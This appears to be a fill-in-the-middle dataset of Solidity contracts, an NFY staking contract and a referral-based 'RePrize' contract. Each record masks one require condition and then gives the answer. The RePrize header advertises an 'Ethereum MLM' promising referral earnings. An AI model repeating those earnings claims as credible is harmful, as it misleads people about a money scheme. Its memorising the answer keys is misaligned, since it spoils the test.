function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
}
contract NFYStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct NFT {
address _addressOfMinter;
uint256 _NFYDeposited;
bool _inCirculation;
uint256 _rewardDebt;
}
event StakeCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event WithdrawCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _time);
event PoolUpdated(uint256 _blocksRewarded, uint256 _amountRewarded, uint256 _time);
event RewardsClaimed(address _staker, uint256 _rewardsClaimed, uint256 _tokenId, uint256 _time);
event RewardsCompounded(address _staker, uint256 _rewardsCompounded, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event MintedToken(address _staker, uint256 _tokenId, uint256 _time);
event TotalUnstaked(uint256 _total);
IERC20 public NFYToken;
INFYStakingNFT public StakingNFT;
address public rewardPool;
address public staking;
uint256 public dailyReward;
uint256 public accNfyPerShare;
uint256 public lastRewardBlock;
uint256 public totalStaked;
mapping(uint256 => NFT) public NFTDetails;
// Constructor will set the address of NFY token and address of NFY staking NFT
constructor(address _NFYToken, address _StakingNFT, address _staking, address _rewardPool, uint256 _dailyReward) Ownable() public {
}
// 6500 blocks in average day --- decimals * NFY balance of rewardPool / blocks / 10000 * dailyReward (in hundredths of %) = rewardPerBlock
function getRewardPerBlock() public view returns(uint256) {
}
// % of reward pool to be distributed each day --- in hundredths of % 30 == 0.3%
function setDailyReward(uint256 _dailyReward) public onlyOwner {
}
// Function that will get balance of a NFY balance of a certain stake
function getNFTBalance(uint256 _tokenId) public view returns(uint256 _amountStaked) {
}
// Function that will check if a NFY stake NFT is in circulation
function checkIfNFTInCirculation(uint256 _tokenId) public view returns(bool _inCirculation) {
}
// Function that returns NFT's pending rewards
function pendingRewards(uint256 _NFT) public view returns(uint256) {
}
// Get total rewards for all of user's NFY nfts
function getTotalRewards(address _address) public view returns(uint256) {
}
// Get total stake for all user's NFY nfts
function getTotalBalance(address _address) public view returns(uint256) {
}
// Function that updates NFY pool
function updatePool() public {
}
// Function that lets user stake NFY
function stakeNFY(uint256 _amount) public {
}
function addStakeholder(address _stakeholder) private {
}
function addStakeholderExternal(address _stakeholder) external onlyPlatform() {
}
// Function that will allow user to claim rewards
function claimRewards(uint256 _tokenId) public {
require(StakingNFT.ownerOf(_tokenId) == _msgSender(), "User is not owner of token");
require(<FILL_ME>)
updatePool();
NFT storage nft = NFTDetails[_tokenId];
uint256 _pendingRewards = nft._NFYDeposited.mul(accNfyPerShare).div(1e18).sub(nft._rewardDebt);
require(_pendingRewards > 0, "No rewards to claim!");
NFYToken.transfer(_msgSender(), _pendingRewards);
nft._rewardDebt = nft._NFYDeposited.mul(accNfyPerShare).div(1e18);
emit RewardsClaimed(_msgSender(), _pendingRewards, _tokenId, now);
}
// Function that will add NFY rewards to NFY staking NFT
function compoundRewards(uint256 _tokenId) public {
}
// Function that lets user claim all rewards from all their nfts
function claimAllRewards() public {
}
// Function that lets user compound all rewards from all their nfts
function compoundAllRewards() public {
}
// Function that lets user unstake NFY in system. 5% fee that gets redistributed back to reward pool
function unstakeNFY(uint256 _tokenId) public {
}
// Function that will unstake every user's NFY stake NFT for user
function unstakeAll() public {
}
// Will increment value of staking NFT when trade occurs
function incrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
// Will decrement value of staking NFT when trade occurs
function decrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
}
| NFTDetails[_tokenId]._inCirculation==true,"Stake has already been withdrawn" | 29,840 | NFTDetails[_tokenId]._inCirculation==true |
"User has no stake" | pragma solidity ^0.6.10;
interface INFYStakingNFT {
function nftTokenId(address _stakeholder) external view returns(uint256 id);
function revertNftTokenId(address _stakeholder, uint256 _tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
}
contract NFYStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct NFT {
address _addressOfMinter;
uint256 _NFYDeposited;
bool _inCirculation;
uint256 _rewardDebt;
}
event StakeCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event WithdrawCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _time);
event PoolUpdated(uint256 _blocksRewarded, uint256 _amountRewarded, uint256 _time);
event RewardsClaimed(address _staker, uint256 _rewardsClaimed, uint256 _tokenId, uint256 _time);
event RewardsCompounded(address _staker, uint256 _rewardsCompounded, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event MintedToken(address _staker, uint256 _tokenId, uint256 _time);
event TotalUnstaked(uint256 _total);
IERC20 public NFYToken;
INFYStakingNFT public StakingNFT;
address public rewardPool;
address public staking;
uint256 public dailyReward;
uint256 public accNfyPerShare;
uint256 public lastRewardBlock;
uint256 public totalStaked;
mapping(uint256 => NFT) public NFTDetails;
// Constructor will set the address of NFY token and address of NFY staking NFT
constructor(address _NFYToken, address _StakingNFT, address _staking, address _rewardPool, uint256 _dailyReward) Ownable() public {
}
// 6500 blocks in average day --- decimals * NFY balance of rewardPool / blocks / 10000 * dailyReward (in hundredths of %) = rewardPerBlock
function getRewardPerBlock() public view returns(uint256) {
}
// % of reward pool to be distributed each day --- in hundredths of % 30 == 0.3%
function setDailyReward(uint256 _dailyReward) public onlyOwner {
}
// Function that will get balance of a NFY balance of a certain stake
function getNFTBalance(uint256 _tokenId) public view returns(uint256 _amountStaked) {
}
// Function that will check if a NFY stake NFT is in circulation
function checkIfNFTInCirculation(uint256 _tokenId) public view returns(bool _inCirculation) {
}
// Function that returns NFT's pending rewards
function pendingRewards(uint256 _NFT) public view returns(uint256) {
}
// Get total rewards for all of user's NFY nfts
function getTotalRewards(address _address) public view returns(uint256) {
}
// Get total stake for all user's NFY nfts
function getTotalBalance(address _address) public view returns(uint256) {
}
// Function that updates NFY pool
function updatePool() public {
}
// Function that lets user stake NFY
function stakeNFY(uint256 _amount) public {
}
function addStakeholder(address _stakeholder) private {
}
function addStakeholderExternal(address _stakeholder) external onlyPlatform() {
}
// Function that will allow user to claim rewards
function claimRewards(uint256 _tokenId) public {
}
// Function that will add NFY rewards to NFY staking NFT
function compoundRewards(uint256 _tokenId) public {
}
// Function that lets user claim all rewards from all their nfts
function claimAllRewards() public {
require(<FILL_ME>)
for(uint256 i = 0; i < StakingNFT.balanceOf(_msgSender()); i++) {
uint256 _currentNFT = StakingNFT.tokenOfOwnerByIndex(_msgSender(), i);
claimRewards(_currentNFT);
}
}
// Function that lets user compound all rewards from all their nfts
function compoundAllRewards() public {
}
// Function that lets user unstake NFY in system. 5% fee that gets redistributed back to reward pool
function unstakeNFY(uint256 _tokenId) public {
}
// Function that will unstake every user's NFY stake NFT for user
function unstakeAll() public {
}
// Will increment value of staking NFT when trade occurs
function incrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
// Will decrement value of staking NFT when trade occurs
function decrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
}
| StakingNFT.balanceOf(_msgSender())>0,"User has no stake" | 29,840 | StakingNFT.balanceOf(_msgSender())>0 |
"Token not in circulation" | pragma solidity ^0.6.10;
interface INFYStakingNFT {
function nftTokenId(address _stakeholder) external view returns(uint256 id);
function revertNftTokenId(address _stakeholder, uint256 _tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
}
contract NFYStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct NFT {
address _addressOfMinter;
uint256 _NFYDeposited;
bool _inCirculation;
uint256 _rewardDebt;
}
event StakeCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event WithdrawCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _time);
event PoolUpdated(uint256 _blocksRewarded, uint256 _amountRewarded, uint256 _time);
event RewardsClaimed(address _staker, uint256 _rewardsClaimed, uint256 _tokenId, uint256 _time);
event RewardsCompounded(address _staker, uint256 _rewardsCompounded, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event MintedToken(address _staker, uint256 _tokenId, uint256 _time);
event TotalUnstaked(uint256 _total);
IERC20 public NFYToken;
INFYStakingNFT public StakingNFT;
address public rewardPool;
address public staking;
uint256 public dailyReward;
uint256 public accNfyPerShare;
uint256 public lastRewardBlock;
uint256 public totalStaked;
mapping(uint256 => NFT) public NFTDetails;
// Constructor will set the address of NFY token and address of NFY staking NFT
constructor(address _NFYToken, address _StakingNFT, address _staking, address _rewardPool, uint256 _dailyReward) Ownable() public {
}
// 6500 blocks in average day --- decimals * NFY balance of rewardPool / blocks / 10000 * dailyReward (in hundredths of %) = rewardPerBlock
function getRewardPerBlock() public view returns(uint256) {
}
// % of reward pool to be distributed each day --- in hundredths of % 30 == 0.3%
function setDailyReward(uint256 _dailyReward) public onlyOwner {
}
// Function that will get balance of a NFY balance of a certain stake
function getNFTBalance(uint256 _tokenId) public view returns(uint256 _amountStaked) {
}
// Function that will check if a NFY stake NFT is in circulation
function checkIfNFTInCirculation(uint256 _tokenId) public view returns(bool _inCirculation) {
}
// Function that returns NFT's pending rewards
function pendingRewards(uint256 _NFT) public view returns(uint256) {
}
// Get total rewards for all of user's NFY nfts
function getTotalRewards(address _address) public view returns(uint256) {
}
// Get total stake for all user's NFY nfts
function getTotalBalance(address _address) public view returns(uint256) {
}
// Function that updates NFY pool
function updatePool() public {
}
// Function that lets user stake NFY
function stakeNFY(uint256 _amount) public {
}
function addStakeholder(address _stakeholder) private {
}
function addStakeholderExternal(address _stakeholder) external onlyPlatform() {
}
// Function that will allow user to claim rewards
function claimRewards(uint256 _tokenId) public {
}
// Function that will add NFY rewards to NFY staking NFT
function compoundRewards(uint256 _tokenId) public {
}
// Function that lets user claim all rewards from all their nfts
function claimAllRewards() public {
}
// Function that lets user compound all rewards from all their nfts
function compoundAllRewards() public {
}
// Function that lets user unstake NFY in system. 5% fee that gets redistributed back to reward pool
function unstakeNFY(uint256 _tokenId) public {
}
// Function that will unstake every user's NFY stake NFT for user
function unstakeAll() public {
}
// Will increment value of staking NFT when trade occurs
function incrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
require(<FILL_ME>)
updatePool();
NFT storage nft = NFTDetails[_tokenId];
if(nft._NFYDeposited > 0) {
uint256 _pendingRewards = nft._NFYDeposited.mul(accNfyPerShare).div(1e18).sub(nft._rewardDebt);
if(_pendingRewards > 0) {
NFYToken.transfer(StakingNFT.ownerOf(_tokenId), _pendingRewards);
emit RewardsClaimed(StakingNFT.ownerOf(_tokenId), _pendingRewards, _tokenId, now);
}
}
NFTDetails[_tokenId]._NFYDeposited = NFTDetails[_tokenId]._NFYDeposited.add(_amount);
nft._rewardDebt = nft._NFYDeposited.mul(accNfyPerShare).div(1e18);
}
// Will decrement value of staking NFT when trade occurs
function decrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
}
| checkIfNFTInCirculation(_tokenId)==true,"Token not in circulation" | 29,840 | checkIfNFTInCirculation(_tokenId)==true |
"Not enough stake in NFT" | pragma solidity ^0.6.10;
interface INFYStakingNFT {
function nftTokenId(address _stakeholder) external view returns(uint256 id);
function revertNftTokenId(address _stakeholder, uint256 _tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
}
contract NFYStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct NFT {
address _addressOfMinter;
uint256 _NFYDeposited;
bool _inCirculation;
uint256 _rewardDebt;
}
event StakeCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event WithdrawCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _time);
event PoolUpdated(uint256 _blocksRewarded, uint256 _amountRewarded, uint256 _time);
event RewardsClaimed(address _staker, uint256 _rewardsClaimed, uint256 _tokenId, uint256 _time);
event RewardsCompounded(address _staker, uint256 _rewardsCompounded, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event MintedToken(address _staker, uint256 _tokenId, uint256 _time);
event TotalUnstaked(uint256 _total);
IERC20 public NFYToken;
INFYStakingNFT public StakingNFT;
address public rewardPool;
address public staking;
uint256 public dailyReward;
uint256 public accNfyPerShare;
uint256 public lastRewardBlock;
uint256 public totalStaked;
mapping(uint256 => NFT) public NFTDetails;
// Constructor will set the address of NFY token and address of NFY staking NFT
constructor(address _NFYToken, address _StakingNFT, address _staking, address _rewardPool, uint256 _dailyReward) Ownable() public {
}
// 6500 blocks in average day --- decimals * NFY balance of rewardPool / blocks / 10000 * dailyReward (in hundredths of %) = rewardPerBlock
function getRewardPerBlock() public view returns(uint256) {
}
// % of reward pool to be distributed each day --- in hundredths of % 30 == 0.3%
function setDailyReward(uint256 _dailyReward) public onlyOwner {
}
// Function that will get balance of a NFY balance of a certain stake
function getNFTBalance(uint256 _tokenId) public view returns(uint256 _amountStaked) {
}
// Function that will check if a NFY stake NFT is in circulation
function checkIfNFTInCirculation(uint256 _tokenId) public view returns(bool _inCirculation) {
}
// Function that returns NFT's pending rewards
function pendingRewards(uint256 _NFT) public view returns(uint256) {
}
// Get total rewards for all of user's NFY nfts
function getTotalRewards(address _address) public view returns(uint256) {
}
// Get total stake for all user's NFY nfts
function getTotalBalance(address _address) public view returns(uint256) {
}
// Function that updates NFY pool
function updatePool() public {
}
// Function that lets user stake NFY
function stakeNFY(uint256 _amount) public {
}
function addStakeholder(address _stakeholder) private {
}
function addStakeholderExternal(address _stakeholder) external onlyPlatform() {
}
// Function that will allow user to claim rewards
function claimRewards(uint256 _tokenId) public {
}
// Function that will add NFY rewards to NFY staking NFT
function compoundRewards(uint256 _tokenId) public {
}
// Function that lets user claim all rewards from all their nfts
function claimAllRewards() public {
}
// Function that lets user compound all rewards from all their nfts
function compoundAllRewards() public {
}
// Function that lets user unstake NFY in system. 5% fee that gets redistributed back to reward pool
function unstakeNFY(uint256 _tokenId) public {
}
// Function that will unstake every user's NFY stake NFT for user
function unstakeAll() public {
}
// Will increment value of staking NFT when trade occurs
function incrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
// Will decrement value of staking NFT when trade occurs
function decrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
require(checkIfNFTInCirculation(_tokenId) == true, "Token not in circulation");
require(<FILL_ME>)
updatePool();
NFT storage nft = NFTDetails[_tokenId];
if(nft._NFYDeposited > 0) {
uint256 _pendingRewards = nft._NFYDeposited.mul(accNfyPerShare).div(1e18).sub(nft._rewardDebt);
if(_pendingRewards > 0) {
NFYToken.transfer(StakingNFT.ownerOf(_tokenId), _pendingRewards);
emit RewardsClaimed(StakingNFT.ownerOf(_tokenId), _pendingRewards, _tokenId, now);
}
}
NFTDetails[_tokenId]._NFYDeposited = NFTDetails[_tokenId]._NFYDeposited.sub(_amount);
nft._rewardDebt = nft._NFYDeposited.mul(accNfyPerShare).div(1e18);
}
}
| getNFTBalance(_tokenId)>=_amount,"Not enough stake in NFT" | 29,840 | getNFTBalance(_tokenId)>=_amount |
'Address is already in use by another user' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
require(<FILL_ME>)
delete userList[main_address];
userList[_main_address] = uint(1);
main_address = _main_address;
users[1].wallet = _main_address;
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| userList[_main_address]==0,'Address is already in use by another user' | 30,153 | userList[_main_address]==0 |
'User does not exist' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
require(_userID > 0, 'Invalid user ID');
require(<FILL_ME>)
require(_tokens >= 0, 'Invalid tokens');
users[_userID].tokens = _tokens;
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| users[_userID].isExist,'User does not exist' | 30,153 | users[_userID].isExist |
'You have sent incorrect payment amount' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
require(!paused);
require(<FILL_ME>)
if(PRIZE[msg.value] > 0){
require(users[userList[msg.sender]].isExist);
require(blocked[userList[msg.sender]] != true);
if(msg.value == 0.01 finney){
if(paidRedemption){
require(users[userList[msg.sender]].tokens >= PRIZE[msg.value], 'You do not have enough tokens');
users[userList[msg.sender]].tokens = SafeMath.sub(users[userList[msg.sender]].tokens, PRIZE[msg.value]);
emit Redemption(userList[msg.sender], PRIZE[msg.value], now);
} else {
emit Redemption(userList[msg.sender], uint(0), now);
}
} else {
require(users[userList[msg.sender]].tokens >= PRIZE[msg.value], 'You do not have enough tokens');
users[userList[msg.sender]].tokens = SafeMath.sub(users[userList[msg.sender]].tokens, PRIZE[msg.value]);
if(PRIZE_SPECIAL[msg.value] > 0){
PRIZE_SPECIAL[msg.value] = SafeMath.sub(PRIZE_SPECIAL[msg.value], uint(1));
emit PrizeSpecial(userList[msg.sender], PRIZE[msg.value], now);
if(PRIZE_SPECIAL[msg.value] == 1){
PRIZE[msg.value] = 0;
}
} else {
emit PrizePurchased(userList[msg.sender], PRIZE[msg.value], now);
}
}
address(uint160(msg.sender)).transfer(msg.value);
} else if(LEVEL_PRICE[msg.value] == 1){
uint referrerID = 0;
address referrer = bytesToAddress(msg.data);
if(referrer == address(0)){
referrerID = 1;
